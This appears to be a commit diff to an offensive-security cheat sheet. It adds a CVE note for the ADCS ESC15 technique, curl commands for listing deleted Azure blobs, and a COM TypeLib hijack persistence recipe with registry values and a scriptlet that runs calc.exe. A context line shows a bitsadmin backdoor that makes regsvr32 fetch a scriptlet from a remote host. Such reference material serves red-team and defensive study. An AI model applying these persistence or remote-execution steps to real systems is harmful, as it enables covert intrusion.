COM Persistence + EKUwu CVE + Deleted Blobs from Azure Storage
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@ -423,7 +423,10 @@ Members : {}
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```
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## ESC15 - EKUwu Application Policies
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## ESC15 - EKUwu Application Policies - CVE-2024-49019
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This technique now has a CVE number and was patched on November 12, See [Active Directory Certificate Services Elevation of Privilege Vulnerability - CVE-2024-49019](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019) for more information.
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**Requirements**
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**Requirements**
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@ -17,6 +17,40 @@ Found Storage Account - redacted.blob.core.windows.net
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## List and download blobs
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## List and download blobs
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Visiting `https://<storage-name>.blob.core.windows.net/<storage-container>?restype=container&comp=list` provides a JSON file containing a complete list of the Azure Blobs.
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```xml
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<EnumerationResults ContainerName="https://<storage-name>.blob.core.windows.net/<storage-container>">
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<Blobs>
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<Blob>
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<Name>index.html</Name>
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<Url>https://<storage-name>.blob.core.windows.net/<storage-container>/index.html</Url>
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<Properties>
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<Last-Modified>Fri, 20 Oct 2023 20:08:20 GMT</Last-Modified>
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<Etag>0x8DBD1A84E6455C0</Etag>
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<Content-Length>782359</Content-Length>
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<Content-Type>text/html</Content-Type>
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<Content-Encoding/>
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<Content-Language/>
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<Content-MD5>JSe+sM+pXGAEFInxDgv4CA==</Content-MD5>
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<Cache-Control/>
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<BlobType>BlockBlob</BlobType>
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<LeaseStatus>unlocked</LeaseStatus>
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</Properties>
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</Blob>
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```
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Browse deleted files.
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```ps1
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$ curl -s -H "x-ms-version: 2019-12-12" 'https://<storage-name>.blob.core.windows.net/<storage-container>?restype=container&comp=list&include=versions' | xmllint --format - | grep Name
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<EnumerationResults ServiceEndpoint="https://<storage-name>.blob.core.windows.net/" ContainerName="<storage-container>">
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<Name>index.html</Name>
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<Name>scripts-transfer.zip</Name>
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```
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```powershell
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```powershell
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PS Az> Get-AzResource
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PS Az> Get-AzResource
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PS Az> Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
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PS Az> Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
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@ -242,6 +242,44 @@ bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.1
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bitsadmin /resume backdoor
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bitsadmin /resume backdoor
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```
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```
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### COM TypeLib
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* [CICADA8-Research/TypeLibWalker](https://github.com/CICADA8-Research/TypeLibWalker) - TypeLib persistence technique
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Use [sysinternals/procmon](https://learn.microsoft.com/fr-fr/sysinternals/downloads/procmon) to find `RegOpenKey` with the status `NAME NOT FOUND`. The process `explorer.exe` is a good target, as it will spawn your payload every time it is run.
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```ps1
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Path: HKCU\Software\Classes\TypeLib\{CLSID}\1.1\0\win32
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Path: HKCU\Software\Classes\TypeLib\{CLSID}\1.1\0\win64
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Name: anything
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Type: REG_SZ
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Value: script:C:\1.sct
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```
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Example of content for `1.sct`.
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```xml
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<?xml version="1.0"?>
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<scriptlet>
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<registration
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description="explorer"
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progid="explorer"
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version="1.0"
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classid="{66666666-6666-6666-6666-666666666666}"
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remotable="true">
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</registration>
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<script language="JScript">
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<![CDATA[
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var WShell = new ActiveXObject("WScript.Shell");
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WShell.Run("calc.exe");
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]]>
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</script>
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</scriptlet>
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```
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## Serviceland
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## Serviceland
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### IIS
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### IIS
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@ -622,4 +660,5 @@ Set-DomainObject -Identity <target_machine> -Set @{"ms-mcs-admpwdexpirationtime"
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* [Beware of the Shadowbunny - Using virtual machines to persist and evade detections - Sep 23, 2020 - wunderwuzzi](https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/)
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* [Beware of the Shadowbunny - Using virtual machines to persist and evade detections - Sep 23, 2020 - wunderwuzzi](https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/)
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* [Persistence via WMI Event Subscription - Elastic Security Solution](https://www.elastic.co/guide/en/security/current/persistence-via-wmi-event-subscription.html)
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* [Persistence via WMI Event Subscription - Elastic Security Solution](https://www.elastic.co/guide/en/security/current/persistence-via-wmi-event-subscription.html)
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* [PrivEsc: Abusing the Service Control Manager for Stealthy & Persistent LPE - 0xv1n - 2023-02-27](https://0xv1n.github.io/posts/scmanager/)
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* [PrivEsc: Abusing the Service Control Manager for Stealthy & Persistent LPE - 0xv1n - 2023-02-27](https://0xv1n.github.io/posts/scmanager/)
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* [Sc sdset - Microsoft - 08/31/2016](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742037(v=ws.11))
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* [Sc sdset - Microsoft - 08/31/2016](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742037(v=ws.11))
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* [Hijack the TypeLib. New COM persistence technique - CICADA8 - October 22, 2024](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
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